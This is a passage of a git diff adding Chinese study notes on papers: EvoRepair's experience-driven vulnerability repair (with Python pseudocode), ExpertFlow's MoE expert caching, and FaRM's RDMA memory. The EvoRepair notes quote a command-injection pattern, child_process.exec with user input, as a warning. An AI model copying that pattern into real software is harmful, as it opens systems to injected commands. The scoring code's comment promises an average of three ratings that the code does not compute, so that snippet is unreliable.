+    #   {"action": "edit_code", "change": "replace exec() with execFile()"},
+    #   {"action": "run_poc", "result": "fixed"},
+    #   {"action": "submit_patch"}
+    # ]
+
+    prompt = f"""
+请根据以下修复轨迹，提炼一条结构化经验：
+
+漏洞ID: {vulnerability_id}
+修复结果: {'成功' if success else '失败'}
+修复轨迹: {repair_trajectory}
+
+请按以下格式输出：
+
+## 漏洞介绍
+- 漏洞类型:
+- 根本原因:
+- 影响范围:
+
+## 修复策略
+- 采用的方法:
+- 为什么选这个方法:
+
+## 经验总结（可复用规则）
+- 适用条件:
+- 具体建议:
+- 代码示例:
+
+## 反思
+- 不足之处:
+- 改进建议:
+"""
+
+    # 用 LLM 生成结构化经验
+    experience = judge_model.generate(prompt)
+
+    # 给经验打分
+    score_prompt = f"""
+请给这条经验打分（1-10）：
+
+经验内容: {experience}
+
+维度1 - 实用性：这条经验能不能帮别人修类似的漏洞？
+维度2 - 泛化性：这条经验能不能跨语言/跨项目复用？
+"""
+
+    # 三次评分取平均，减少偏差
+    scores = [judge_model.score(score_prompt) for _ in range(3)]
+    quality_score = scores[0]
+    general_score = scores[1]
+    final_score = 0.5 * quality_score + 0.5 * general_score
+
+    return {
+        "vulnerability_id": vulnerability_id,
+        "content": experience,
+        "quality_score": quality_score,
+        "general_score": general_score,
+        "final_score": final_score,
+        "success": success
+    }
+
+# 实际使用
+new_experience = construct_experience(
+    vulnerability_id="CVE-2020-8132",
+    repair_trajectory=agent_trajectory,
+    success=True
+)
+
+# 存入经验库
+experience_bank.add(new_experience)
+
+# 经验库中存的是什么样子（Markdown 格式）：
+# ---
+# vulnerability_id: CVE-2020-8132
+# cwe: CWE-78
+# quality_score: 8.5
+# general_score: 7.0
+# ---
+#
+# ## 漏洞介绍
+# - 漏洞类型: 命令注入 (Command Injection)
+# - 根本原因: 使用 child_process.exec() 直接执行用户输入
+#
+# ## 修复策略
+# - 采用的方法: 将 exec() 替换为 execFile()
+# - 为什么: execFile() 不会调用 shell，避免命令注入
+#
+# ## 经验总结
+# - 适用条件: Node.js 项目中需要执行外部命令
+# - 具体建议: 永远不要用 exec() 处理用户输入，改用 execFile()
+# - 代码示例: 避免 child_process.exec(`cmd ${userInput}`)
+#   改为: child_process.execFile('cmd', [userInput])
+```
+
+### 示例 3：经验更新的三种策略
+
+```python
+def update_experience(
+    experience_bank: dict,
+    vulnerability_id: str,
+    new_experience: dict
+) -> str:
+    """
+    经验更新策略：丢弃 / 保留 / 打磨
+    """
+    old_experience = experience_bank.get(vulnerability_id)
+
+    if old_experience is None:
+        # 首次存入
+        experience_bank[vulnerability_id] = new_experience
+        return "stored"
+
+    old_score = old_experience['final_score']
+    new_score = new_experience['final_score']
+
+    if new_score < old_score:
+        # 策略1: 丢弃 - 新经验不如旧的
+        return "discarded"
+    elif new_score > old_score:
+        # 策略2: 保留 - 新经验更好，替换
+        experience_bank[vulnerability_id] = new_experience
+        return "replaced"
+    else:
+        # 策略3: 打磨 - 分数相同，让 LLM 融合两条
+        prompt = f"""
+以下两条经验分数相同，请融合成一条更好的：
+
+经验A: {old_experience['content']}
+经验B: {new_experience['content']}
+
+请保留两者的优点，产出一条统一的新经验。
+"""
+        polished = judge_model.generate(prompt)
+        experience_bank[vulnerability_id] = {
+            **new_experience,
+            'content': polished,
+            'polished': True
+        }
+        return "polished"
+```
+
+## 六、实验结果（通俗解读）
+
+### 6.1 在两大数据集上全面领先
+
+EvoRepair 在两个主流漏洞修复数据集上测试：
+
+| 数据集 | 语言 | 漏洞数 | EvoRepair 修复率 |
+|---|---|---|---|
+| PATCHEVAL | JS/Python/Go | 230 | **93.47%** |
+| SEC-bench | C | 200 | **87.00%** |
+| 合计 | 多语言 | 430 | **90.46%** |
+
+对比最强的基线方法（Live-SWE-Agent）高出近 7 个百分点。
+
+### 6.2 比 LoopRepair 强多少？
+
+LoopRepair 是之前的最强 LLM 基线，EvoRepair 比它：
+
+- PATCHEVAL 上高出 **39.56%**
+- SEC-bench 上高出 **33.50%**
+
+这个差距非常大。原因很简单：LoopRepair 只是在单次修复中多转几圈（循环尝试），但每次都是"新的"。EvoRepair 是"越修越聪明"——每一轮都在积累知识。
+
+### 6.3 多轮修复的效果
+
+EvoRepair 最多可以修 15 轮。随着轮次增加，修复率持续上升，但在第 4-5 轮后增速明显放缓——这说明大部分漏洞在早期就修好了，后期的边际收益递减。
+
+## 七、关键创新点总结
+
+1. **首次提出"经验驱动的自我进化"**：AVR 领域第一个明确让系统"学会学习"的方法
+2. **经验有标准格式**：5 个维度让经验可存储、可检索、可比较、可迁移
+3. **质量感知评分**：不是所有经验都值得存——用 LLM 打分筛选高质量经验
+4. **经验迁移**：学到的经验可以跨语言、跨数据集、跨模型复用
+5. **框架无关**：可以套在任何主流 Agent 框架上（SWE-agent、OpenHands 等）
+
+## 八、反思与思考
+
+这个研究最打动我的一点是：它把 AI 从"一次性答题机器"变成了"持续学习的系统"。
+
+但也要看到局限：
+
+- 经验库需要额外的存储和检索开销
+- 冷启动问题：第一条经验从哪里来？论文用了两个热身策略（官方补丁 / 预生成经验）
+- LLM-as-a-Judge 的评分可能存在偏见
+- 经验之间可能产生冲突，论文暂未深入讨论
+
+## 九、关键术语速查
+
+| 术语 | 英文 | 解释 |
+|---|---|---|
+| CVE | Common Vulnerabilities and Exposures | 漏洞的唯一编号 |
+| CWE | Common Weakness Enumeration | 漏洞类型的分类标准 |
+| AVR | Automated Vulnerability Repair | 自动化漏洞修复 |
+| PoC | Proof of Concept | 证明漏洞存在的代码 |
+| ReAct | Reasoning + Acting | Agent 的经典范式：先推理再行动 |
+| Experience Bank | 经验库 | EvoRepair 的核心组件，存储结构化经验 |
+| Turn-level yield rate | 轮次收益率 | α = β/γ，衡量每轮修复的性价比 |
+
+## 十、延伸思考
+
+如果让你来改进 EvoRepair，你会从哪个方向入手？
+
+- 经验的自动去重和冲突检测？
+- 不用 LLM 打分，用更客观的指标？
+- 把经验压缩成更小的模型来推理？
+- 支持多人协作的经验共享？
+
+这些都是值得继续探索的问题。
diff --git a/src/content/docs/papers/expertflow-moe-offload.md b/src/content/docs/papers/expertflow-moe-offload.md
new file mode 100644
index 000000000..054007c86
--- /dev/null
+++ b/src/content/docs/papers/expertflow-moe-offload.md
@@ -0,0 +1,408 @@
+---
+title: ExpertFlow — MoE 预测式专家缓存与 Token 调度（零基础学习笔记）
+来源: https://arxiv.org/abs/2410.17954
+日期: 2026-06-13
+子分类: ML 系统
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：专科会诊 vs 临时借书
+
+想象你要在一间**只有四张手术台**的小诊所（单卡 GPU，显存有限）里，运行一座**拥有 128 个专科科室**的超大型联合医院（MoE 大模型）。
+
+MoE 的聪明之处在于：每个病人（token）每次只去 **Top-K 个科室**会诊——算力上很省。但问题是：**全部科室的设备和档案都要存在某处**。128 个专家 × 32 层，总参数量轻松超过单卡显存（Mixtral-8×7B 约 96 GB，A100 只有 80 GB）。
+
+常见做法是 **Offloading（卸载）**：把暂时不用的专家放在 CPU 内存里，需要时再搬到 GPU——像把大部头书放在仓库，用时临时借到阅览室。
+
+但这样会遇到三个现实麻烦：
+
+1. **不知道下一页要借哪本书**：路由（router）决定每个 token 去哪个专家，只有算到那一层才知道——若等算完再搬，GPU 在等 I/O。
+2. **病人排班太散**：两个 batch 各 4 个 token，每人去不同科室，结果**四个科室各只来 1 个病人**——专家 kernel 启动成本固定，利用率极低。
+3. **阅览室书架按「最近用过」腾位（LRU）**：MoE 路由是**输入相关、动态变化**的，LRU 经常猜错，专家在 CPU/GPU 之间来回折腾。
+
+**ExpertFlow**（He 等，**DAC 2026**，arXiv:[2410.17954](https://arxiv.org/abs/2410.17954)）的做法像给诊所配了三个协同岗位：
+
+- **Routing Path Predictor (RPP)**：值班秘书提前看完整病历，**一次预测**所有层会激活哪些科室；
+- **Token Scheduler (TS)**：把「会去同一组科室」的病人**合并排班**，让每个 batch 少开科室、每个科室多来人；
+- **Expert Cache Engine (ECE)**：按预测**预取**专家到 GPU，算错了再**轻量纠错**。
+
+论文在单卡 A40 上报告：GPU 峰值显存最高降 **93.72%**，相对强 offloading 基线吞吐最高 **10×**；缓存命中率 **91.96%**，比 LRU 高最多 **61.15%**。
+
+一句话：**MoE 单卡推理的关键不是「能不能 offload」，而是「能不能提前知道要 load 谁、怎么排 token、怎么管缓存」。**
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 全称 | ExpertFlow: Efficient Mixture-of-Experts Inference via Predictive Expert Caching and Token Scheduling |
+| 会议 | DAC 2026（ACM/IEEE 设计自动化会议） |
+| 机构 | A*STAR、港科大、哈工大（深圳）、南洋理工等 |
+| 问题域 | **单 GPU / 显存受限**场景下的 MoE **推理** offloading |
+| 对比基线 | Cache-MoE（LRU）、SE-MoE（环缓冲）、Pregated-MoE 等 |
+| 验证模型 | Switch-32/64/128、Mixtral-8×7B、Qwen1.5-MoE、DeepSeek-MoE |
+| 与压缩正交 | 可与量化、剪枝、蒸馏叠加，进一步省显存 |
+
+ExpertFlow 是**系统层**工作，不改 MoE 模型权重或路由算法本身，而是在 CPU–GPU 异构内存之上做**预测 + 调度 + 缓存**的协同设计。
+
+---
+
+## 为什么重要
+
+### 1. MoE 的「参数墙」与「算力墙」分离
+
+Dense 模型：参数量 ≈ 每 token 计算量。MoE：**总参数巨大**，但每 token 只激活一小部分——显存要装下**全部专家**，计算却只跑**少数专家**。单卡部署 Mixtral、Qwen-MoE、DeepSeek-MoE 时，瓶颈往往是**显存装不下**，不是 FLOPs 不够。
+
+### 2. 动态路由让传统缓存失效
+
+LRU / LFU 按「最近/最常使用」驱逐，**不看输入内容**。MoE 的 expert 激活是 **token × layer 相关**的——同一模型在不同任务上路由模式差异很大。固定「每层分 N 个缓存槽」的策略（如 Cache-MoE）在 batch 变大、专家变多时命中率骤降。
+
+### 3. 预测必须「全局、提前、便宜」
+
+已有方案的两难：
+
+| 路线 | 代表 | 问题 |
+|------|------|------|
+| 回归 router 分数 | Pregated-MoE | 分数误差影响输出质量，需大量微调 |
+| 逐层 MLP 预测 | ProMoE | 必须等上一层算完才知道下一层，无法提前 prefetch |
+| 启发式统计 | token–expert 频率 | 轻量但捕捉不了输入相关路由 |
+
+ExpertFlow 的 RPP 用 **T5 式 encoder–decoder**，**一次前向**输出形状 `(B, S, L, E)` 的全局路由概率，模型仅 **7.21 MB**，batch 级准确率可达 **95%** 量级。
+
+### 4. 与 PagedAttention / vLLM 的互补关系
+
+- **vLLM / PagedAttention**：解决 **KV cache** 的显存碎片与共享（attention 侧）。
+- **ExpertFlow**：解决 **专家权重** 在 CPU/GPU 之间的动态搬运（MoE FFN 侧）。
+
+大 MoE  serving 要同时管 KV 和 expert——二者正交，可叠加。
+
+---
+
+## 核心概念
+
+### 1. MoE 路由回顾
+
+对输入 token 向量 \(x\)，router 计算 \(G(x) = \text{softmax}(x W_g)\)，选 Top-K 专家，输出为选中专家的加权和：
+
+\[
+y = \sum_{i \in \text{TopK}(G(x))} G_i(x)\, E_i(x)
+\]
+
+每个 token 的路由路径可编码为二元矩阵 \(r \in \{0,1\}^{L \times E}\)：第 \(l\) 层第 \(e\) 个专家若被激活则为 1。
+
+### 2. Routing Path Predictor (RPP)
+
+**架构**：T5 风格 encoder 嵌入整段输入，decoder 挂 **L 个轻量 head**，每层输出 E 维 logits → sigmoid 得概率矩阵 \(p\)。
+
+**训练**：从 MoE 推理日志收集 token 的真实路由 \(r\)，多标签二分类，损失为逐层逐专家的 **BCE**：
+
+\[
+\mathcal{L} = \frac{1}{LE}\sum_{l=1}^{L}\sum_{e=1}^{E}\left[r_{l,e}\log p_{l,e} + (1-r_{l,e})\log(1-p_{l,e})\right]
+\]
+
+**关键性质**：在**第一个 MoE 层执行之前**就得到全层路由计划 → 支持 ECE 预取与 TS 重排。
+
+**数据**：每个 (任务, 模型) 组合采样 1 万序列 × 3 次解码，得约 3 万条 (输入, 输出, 路由路径) 三元组。
+
+### 3. Token Scheduler (TS)
+
+**动机（最坏情况）**：2 个 batch、每层 4 专家、每 batch 4 token，若每人去不同专家 → **每层 4 个专家各只处理 1 token**，kernel 效率极低且缓存频繁换入换出。
+
+**目标**：合并相邻两个 batch 的 \(2T\) 个 token，分成两个等规模新 batch \(\mathcal{T}_1, \mathcal{T}_2\)，最小化两 batch 激活专家总数：
+
+\[
+\min_{\mathcal{T}_1,\mathcal{T}_2}\;\sum_{l=1}^{L}\sum_{e=1}^{E}\big(R_1^{l,e}+R_2^{l,e}\big),\quad R_k = \bigvee_{i\in\mathcal{T}_k} r_i
+\]
+
+**近似算法**：对路由路径算 Hamming 相似度矩阵，用 **K-means 风格**聚成 2 簇，CPU 开销 < 10 ms。
+
+**KV 一致性**：重排 token 会破坏原 KV cache 顺序 → TS 提供 **Merge**（按全局顺序重建 KV）和 **Reindex**（更新 token 索引）。
+
+**Dual-Batch Pipeline**：每 2 个 batch 为一调度单元；当前单元做 prefill/decode 的同时，**并行**对下一单元跑 RPP + TS，隐藏预测开销。
+
+### 4. Expert Cache Engine (ECE)
+
+由两部分组成：
+
+#### PLEC（Predictive Locality-aware Expert Caching）
+
+与 LRU「每层固定槽位、按时间驱逐」不同，PLEC **跨层动态分配**缓存槽，并按 RPP 预测 **prefetch** 下一阶段需要的专家。
+
+**例子**（论文 Fig. 5）：2 层 × 每层 4 专家，GPU 只能缓存 4 个专家；预测需 5 个 → 按预测需求给 layer-1 分 3 槽、layer-2 分 1 槽，先加载 \(e_{12}, e_{13}, e_{14}, e_{22}\)；layer-1 算完后释放槽位，异步加载 \(e_{23}\)。
+
+#### Real-time Correction
+
+预测错误时（多加载了不需要的专家、漏了需要的专家），在**当前专家计算进行时**做**优先级交换**，I/O 与计算 overlap，避免流水线 stall。
+
+### 5. 系统流水线总览
+
+```text
+输入 batches
+  → [RPP]  一次预测 (B,S,L,E) 路由概率
+  → [TS]   跨 batch 重排 token，合并相似路由
+  → [ECE]  PLEC 预取 + 运行时纠错
+  → [MoE]  仅加载所需专家，在 GPU 上执行
+         （Dual-Batch：与下一批的 RPP/TS 并行）
+```
+
+---
+
+## 代码示例 1：理解 MoE 路由与路由路径矩阵
+
+下面用 PyTorch 风格伪代码说明「一个 token 的路由路径」如何编码——这是 RPP 训练标签和 TS 聚类的共同基础。
+
+```python
+import torch
+import torch.nn.functional as F
+
+def moe_route_and_encode_path(x, router, num_experts: int, top_k: int):
+    """
+    x: (hidden,) 单个 token 的隐藏状态
+    router: Linear(hidden, num_experts)
+    返回: top_k 专家索引, 路由权重, 路径矩阵 r ∈ {0,1}^{L×E} 的单层切片
+    """
+    logits = router(x)                       # (E,)
+    probs = F.softmax(logits, dim=-1)
+    weights, indices = torch.topk(probs, top_k)
+
+    r_layer = torch.zeros(num_experts, dtype=torch.bool)
+    r_layer[indices] = True                  # 被激活的专家置 1
+    return indices, weights, r_layer
+
+
+def batch_routing_matrix(token_paths: list[torch.Tensor]) -> torch.Tensor:
+    """
+    token_paths: 长度为 T 的列表，每个元素 shape (L, E)
+    批级路由 = 所有 token 路径的逻辑 OR（与论文 R_batch 定义一致）
+    """
+    stacked = torch.stack(token_paths, dim=0)  # (T, L, E)
+    return stacked.any(dim=0)                  # (L, E)
+
+
+# 示例：4 层 MoE，每层 8 专家，2 个 token
+L, E, top_k = 4, 8, 2
+paths = []
+for _ in range(2):
+    layer_paths = []
+    for _ in range(L):
+        fake_router = torch.randn(E)
+        _, _, r = moe_route_and_encode_path(
+            torch.randn(512),
+            lambda x: fake_router,  # 简化：直接用随机 logits
+            E,
+            top_k,
+        )
+        layer_paths.append(r)
+    paths.append(torch.stack(layer_paths))     # (L, E)
+
+R_batch = batch_routing_matrix(paths)
+print("本 batch 激活专家数:", R_batch.sum().item())
+```
+
+TS 的目标就是：把多个 batch 的 token **重新分组**，使分组后的 `R_batch` 之和更小——更少专家被同时激活。
+
+---
+
+## 代码示例 2：RPP 训练损失与 TS 的 Hamming 聚类骨架
+
+```python
+import torch
+import torch.nn as nn
+
+class RoutingPathPredictorLoss(nn.Module):
+    """论文 Eq.(1)：全层全专家 BCE，与 ExpertFlow RPP 训练目标一致"""
+
+    def forward(self, p: torch.Tensor, r: torch.Tensor) -> torch.Tensor:
+        # p, r: (B, S, L, E)，概率 vs 0/1 标签
+        eps = 1e-8
+        bce = -(r * torch.log(p + eps) + (1 - r) * torch.log(1 - p + eps))
+        return bce.mean()  # 等价于对 L,E 求平均
+
+
+def hamming_distance(path_a: torch.Tensor, path_b: torch.Tensor) -> int:
+    """两个 token 路由路径的 Hamming 距离（展平 L×E 后比较）"""
+    return (path_a != path_b).sum().item()
+
+
+def schedule_two_batches(token_paths: list[torch.Tensor], max_iter: int = 20):
+    """
+    简化版 TS：2T 个 token 分成两个等大小 batch，最小化激活专家数。
+    token_paths[i]: (L, E) bool
+    论文用 K-means 风格迭代；此处用贪心 swap 示意。
+    """
+    T2 = len(token_paths)
+    assert T2 % 2 == 0
+    half = T2 // 2
+    # 初始：前 half / 后 half
+    assign = [0] * half + [1] * half
+
+    def objective(assignment):
+        groups = [[], []]
+        for idx, g in enumerate(assignment):
+            groups[g].append(token_paths[idx])
+        total = 0
+        for g in groups:
+            if not g:
+                continue
+            R = torch.stack(g).any(dim=0)
+            total += R.sum().item()
+        return total
+
+    best = assign[:]
+    best_obj = objective(best)
+    for _ in range(max_iter):
+        improved = False
+        for i in range(T2):
+            for j in range(i + 1, T2):
+                if assign[i] == assign[j]:
+                    continue
+                trial = best[:]
+                trial[i], trial[j] = trial[j], trial[i]
+                obj = objective(trial)
+                if obj < best_obj:
+                    best_obj, best = obj, trial
+                    improved = True
+        if not improved:
+            break
+    return best, best_obj
+
+
+# 演示
+L, E = 12, 32
+paths = [torch.rand(L, E) > 0.9 for _ in range(8)]  # 稀疏随机路径
+assign, obj = schedule_two_batches(paths)
+print("重排后两 batch 总激活专家数:", obj)
+```
+
+真实系统中 TS 用相似度矩阵 + K-means 近似，保证 **< 10 ms**；并与 **Merge/Reindex** 维护 KV cache 语义正确。
+
+---
+
+## 代码示例 3：PLEC 缓存槽分配（概念示意）
+
+```python
+from dataclasses import dataclass
+
+@dataclass
+class ExpertSlot:
+    layer: int
+    expert_id: int
+
+
+def plec_allocate_slots(
+    predicted_demand: dict[int, int],  # layer -> 预测激活专家数
+    cache_capacity: int,
+) -> dict[int, int]:
+    """
+    按预测需求比例分配跨层缓存槽（PLEC 核心思想）。
+    predicted_demand: 如 {0: 3, 1: 2} 表示两层分别需 3、2 个专家槽
+    """
+    total_demand = sum(predicted_demand.values())
+    if total_demand <= cache_capacity:
+        return predicted_demand
+
+    # 需求超过容量：按预测比例分配整数槽位
+    slots = {}
+    remaining = cache_capacity
+    layers = sorted(predicted_demand.keys())
+    for i, layer in enumerate(layers):
+        if i == len(layers) - 1:
+            slots[layer] = remaining
+        else:
+            share = max(1, round(
+                cache_capacity * predicted_demand[layer] / total_demand
+            ))
+            share = min(share, remaining - (len(layers) - i - 1))
+            slots[layer] = share
+            remaining -= share
+    return slots
+
+
+# 预测需 5 个专家，GPU 只能放 4 个
+demand = {0: 3, 1: 2}
+print(plec_allocate_slots(demand, cache_capacity=4))
+# 可能输出 {0: 3, 1: 1} — 优先保证近层/高需求层
+```
+
+算完一层后，释放的槽位用于 **异步 prefetch** 下一层预测专家；若实际路由与预测不符，ECE 在 expert kernel 运行期间做 **swap 纠错**。
+
+---
+
+## 实验结果速览
+
+**硬件**：单卡 NVIDIA A40（48 GB）+ Intel Xeon Gold 6338。
+
+| 场景 | 亮点 |
+|------|------|
+| Switch-128, WMT16, CS=4 | 相对 SE-MoE **9.99×** 吞吐 |
+| Switch 系列 CS=16, BS=32 | 相对 SE-MoE **2.01× / 3.19× / 5.86×**（32/64/128 专家） |
+| Mixtral-8×7B | AIG 基线 OOM → ExpertFlow **15.99 GB** 可跑 |
+| Qwen1.5 跨域 RPP | 相对 Cache-MoE 最高 **2.21×** |
+| 显存 | Switch-128: **15.26 GB → 1.03 GB**（约 93% 降幅） |
+| RPP 准确率 | 多数 in-domain **>90%**；Qwen1.5 **>95%** |
+| PLEC vs LRU | 命中率 **91.96%** vs LRU 最高约 76%（Switch-32） |
+| 仅 TS 消融 | Switch-128 吞吐 **+17%**（1.17×） |
+
+**Cache size (CS)**：GPU 上能同时驻留的专家数。**Batch size (BS)** 越大，TS 合并相似路由的收益越明显。
+
+---
+
+## 与相关工作的关系
+
+| 方法 | 思路 | ExpertFlow 差异 |
+|------|------|-----------------|
+| **Cache-MoE** | 每层固定 LRU 缓存 | 无预测，输入相关路由下命中率低 |
+| **SE-MoE** | 环缓冲预载连续两层全部专家 | 专家多时内存开销大，常加载未激活专家 |
+| **Pregated-MoE** | MLP 预测 router 分数 | 分数误差伤质量；非离散专家选择 |
+| **ProMoE** | 学习型预测 + 缓存 | **逐层**预测，无法最早 prefetch |
+| **FlexGen / Lamina** | Dense LLM offloading | 未针对 MoE 动态路由 |
+| **量化 / 剪枝** | 缩小单个专家 | 正交；ExpertFlow 管「搬不搬、何时搬」 |
+
+---
+
+## 局限与未覆盖点
+
+1. **预测器训练成本**：需先跑 MoE 收集路由路径数据集（每配置约 3 万样本）；跨模型需重新训练或验证泛化。
+2. **预测错误**：靠 ECE 运行时纠错，极端 mispredict 仍可能增加 I/O stall。
+3. **实现复杂度**：Dual-Batch Pipeline、KV Merge/Reindex、异步 prefetch 对推理引擎侵入较大——论文侧重系统设计，**开源实现需自行跟进**（截至笔记写作时以 arXiv / DAC 论文为主）。
+4. **场景边界**：实验聚焦 **单 GPU offloading**；多卡 EP、训练阶段、与 speculative decoding 的组合未充分展开。
+5. **与 MoE 架构绑定**：Top-1（Switch）与 Top-2/Top-6（Mixtral、DeepSeek）路由机制不同，RPP 需 per-model 适配。
+
+---
+
+## 自测题
+
+1. MoE offloading 的三类瓶颈是什么？ExpertFlow 各用哪个组件应对？
+2. 为什么 LRU 在 MoE 推理上不如 PLEC？举一个「4 层 × 4 专家、缓存 8 槽」的例子。
+3. RPP 与 ProMoE 式逐层预测的本质区别是什么？对 prefetch 窗口有何影响？
+4. TS 优化目标式 (2) 中，batch 级路由矩阵为什么用逻辑 OR 聚合 token？
+5. Dual-Batch Pipeline 如何隐藏 RPP/TS 延迟？
+
+<details>
+<summary>参考答案（先自测再展开）</summary>
+
+1. **预测不准/太晚** → RPP；**专家利用率低**（每专家 token 太少）→ TS；**缓存命中率低** → ECE（PLEC + 纠错）。
+2. LRU 每层均分 2 槽；若某步每层 4 专家全激活，则持续 swap。PLEC 可按预测把 8 槽全给前两层最可能用到的 8 个专家，并随层推进异步换入第三层。
+3. RPP **一次**输出全 `(L,E)` 计划；ProMoE 需层序执行才知道后续层 → ExpertFlow 可在 **第一层 MoE 之前**开始 prefetch。
+4. batch 内任一 token 用到某专家，该专家就必须在该 batch 的 GPU 上可用；OR 表示「本 batch 所需专家集合」。
+5. 当前两 batch 在 GPU 计算时，CPU/GPU 侧并行对**下一**两 batch 跑 RPP+TS，避免预测阻塞主推理路径。
+
+</details>
+
+---
+
+## 进一步阅读
+
+- 论文：[arXiv:2410.17954](https://arxiv.org/abs/2410.17954)（HTML 版含完整方法图）
+- MoE 训练系统：[Megatron Core MoE 笔记](./megatron-core-moe-2026.md)
+- KV 侧显存管理：[PagedAttention / vLLM 笔记](./paged-attention-vllm.md)
+- 基线 Cache-MoE：[Fast inference of mixture-of-experts language models with offloading](https://arxiv.org/abs/2312.17238)
+- 逐层预测对比：ProMoE ([2410.22134](https://arxiv.org/abs/2410.22134))
+
+---
+
+## 一句话总结
+
+ExpertFlow 把 MoE 单卡推理从「算到哪层、再慌慌张张搬专家」变成「**先预测全局路由 → 重排 token 提高专家负载 → 预测式缓存 + 算时纠错**」的三段式流水线，在几乎不碰模型权重的前提下，用 **7 MB 级 RPP** 撬动 **10× 级吞吐** 与 **90%+ 级显存节省**——是 **MoE × 异构内存 × 预测调度** 的系统共设计范例。
diff --git a/src/content/docs/papers/farm-2015.md b/src/content/docs/papers/farm-2015.md
new file mode 100644
index 000000000..8f8457a47
--- /dev/null
+++ b/src/content/docs/papers/farm-2015.md
@@ -0,0 +1,287 @@
+---
+title: FaRM — 用 RDMA 把集群内存变成一块「共享白板」
+来源: https://www.microsoft.com/en-us/research/publication/farm-fast-remote-memory/
+日期: 2026-06-13
+子分类: 共识与复制
+分类: 分布式系统
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：公司共享白板 vs 快递传话
+
+想象一家连锁门店要维护同一份「实时库存表」。
+
+**传统 TCP/IP 做法**像**只能打电话改账**：你要改北京仓的库存，得先拨号、等对方接听、口述、对方手写、再回传确认——对方 CPU 全程参与，内核协议栈也要跑一遍。顾客一多，电话占线、接线员（CPU）成为瓶颈。
+
+**FaRM 的做法**像**全公司共用一块巨型电子白板**（共享地址空间）：你在上海工位可以直接「伸手」读到北京仓那一格数字（**单边 RDMA Read**），不必叫醒北京同事；真要改数时才走一套**分布式事务**（乐观并发 + 两阶段提交），保证所有人看到的版本一致。
+
+论文 *FaRM: Fast Remote Memory*（NSDI 2014，Microsoft Research）正是这套思路的工程实现：把集群里每台机器的 DRAM 暴露成**位置透明的共享内存**，用 **RoCE/Infiniband 上的 RDMA** 把远程访问延迟和吞吐做到比 TCP/IP **高一个数量级**。后续 SOSP 2015 论文 *No compromises* 在同一平台上补齐了**非易失内存复制、快速故障恢复**，90 机集群跑 TATP 可达 **1.4 亿 TPS**，单机故障 **<50 ms** 恢复——但本笔记以 NSDI 2014 的编程模型与 RDMA 设计为主干。
+
+---
+
+## 是什么
+
+**FaRM**（Fast Remote Memory）是一个**主内存分布式计算平台**，核心主张：
+
+| 维度 | 内容 |
+|------|------|
+| **编程模型** | 集群内存 = 单一共享地址空间；`分配 / 读 / 写 / 释放` 对象，**位置透明** |
+| **一致性** | 默认 **严格可串行化** 的 ACID 分布式事务 |
+| **网络** | **RDMA** 做数据面（单边读）+ 控制面（基于 RDMA Write 的消息） |
+| **性能捷径** | **无锁只读**（单次 RDMA）、**对象共置 + 函数投递**（把分布式事务降成单机事务） |
+| **典型数字** | 20 机、40 Gbps RoCE：**1.67 亿次 KV 查找/秒**，延迟 **31 µs** |
+
+作者：Aleksandar Dragojevic、Dushyanth Narayanan、Orion Hodson、Miguel Castro（Microsoft Research）。
+
+---
+
+## 为什么重要
+
+不理解 FaRM，下面几件事很难讲清楚：
+
+- 为什么数据中心开始谈 **「内存语义网络」**——不是更快 TCP，而是**绕过远程 CPU**
+- **Pilaf / HERD / FaRM / DrTM** 这一脉 RDMA KV 与事务系统的设计分岔
+- 为什么 **RoCE**（RDMA over Converged Ethernet）能在机架级成本上逼近以太网，却让 KV 延迟从百微秒降到几十微秒
+- SOSP 2015 如何证明：**分布式强一致事务**不必在性能上向分区或弱一致「妥协」——前提是重新设计协议以匹配 RDMA + NVRAM 硬件趋势
+- 后来 **Silo、Hekaton、RAMCloud** 等内存 OLTP 论文里「无锁读 / OCC / 日志复制」的谱系关系
+
+FaRM 的关键洞察：**本地 DRAM 仍比 RDMA 快约 23×**，所以系统必须帮应用把**热数据与计算共置**；同时，只读路径应尽可能 **one-sided RDMA**，别把远程核卷进临界区。
+
+---
+
+## 核心概念
+
+### 1. RDMA：单边读 vs 双边消息
+
+- **单边 RDMA Read/Write**：发起方 NIC 直接 DMA 远程内存，**远程 CPU 不参与**
+- **FaRM 消息**：用 **RDMA Write** 写入接收方环形缓冲区；接收方轮询 `Head` 指针发现新消息（依赖 NIC 保证 **Write 按地址递增顺序** 完成）
+
+微基准（论文 Figure 2–3）：16–512 B 典型 RPC 大小下，FaRM 消息速率比 TCP **高 9–11×**；再叠加单边 Read，只读再快 **≈2×**。峰值负载下 TCP 延迟可比 RDMA 消息 **高 145×**。
+
+### 2. 共享地址空间与寻址
+
+地址 = **32-bit Region ID + 32-bit 偏移**。Region 是 **2 GB** 粒度单元（映射、RDMA 注册、恢复都以 Region 为界）。
+
+**一致性哈希**（多虚拟环，k≈100）决定 Region 主副本落在哪台机器；对象指针是 64-bit 不透明地址，可嵌入结构体字段建链表/图。
+
+为减少 NIC 页表缓存 miss，FaRM 实现 **PhyCo** 驱动：启动时分配 **2 GB 物理连续** 内存块，让 NIC 页表项从「50 万+」降到 **1 条/Region**。
+
+### 3. 分布式事务（OCC + 2PC + RDMA 消息）
+
+执行阶段：事务缓冲本地写；用 **RDMA Read** 拉取远程对象到 **ObjBuf**。
+
+提交阶段（协调者）：
+
+1. **Prepare** → 写集主副本**加锁**，主/副本**写 WAL**
+2. **Validate** → 检查读集版本是否仍有效（乐观）
+3. **Commit** → 先副本后主，更新对象、解锁
+
+全程用低延迟 RDMA 消息，缩短锁持有时间。失败则 Abort。
+
+**单机事务快路径**：若相关对象共置在同一 Primary，可 **函数投递**（`msgSend` 把逻辑发到存数据的机器），省掉 Prepare/Validate 的跨机消息，Primary 只需向副本发 Commit。
+
+### 4. 无锁只读（Lock-free Read）
+
+热点读路径（如 KV `GET`）不必进 2PC：
+
+- 一次 **RDMA Read** 拉整个对象
+- 利用 **cache-coherent DMA**：对象头与各 cache line 携带**版本戳**；头未加锁且各 line 版本一致 → 读与事务**严格可串行化**
+- 配合 **incarnation（化身号）** 的 fat pointer，检测对象是否已被并发 `free`
+
+Hashtable 查找邻桶时还用 **joint version** 保证相邻 bucket 彼此一致。
+
+### 5. Chained Associative Hopscotch Hash
+
+FaRM KV 不是简单 Memcached：在 **Hopscotch** 基础上加 **溢出链 + 关联槽**，在 **90% 装载率** 下平均 **1.04 次 RDMA Read/lookup**（H=8），空间与远程读次数兼顾。
+
+写路径（insert/update/delete）则走 **共置 + 事务投递**，把分布式更新变成单机事务。
+
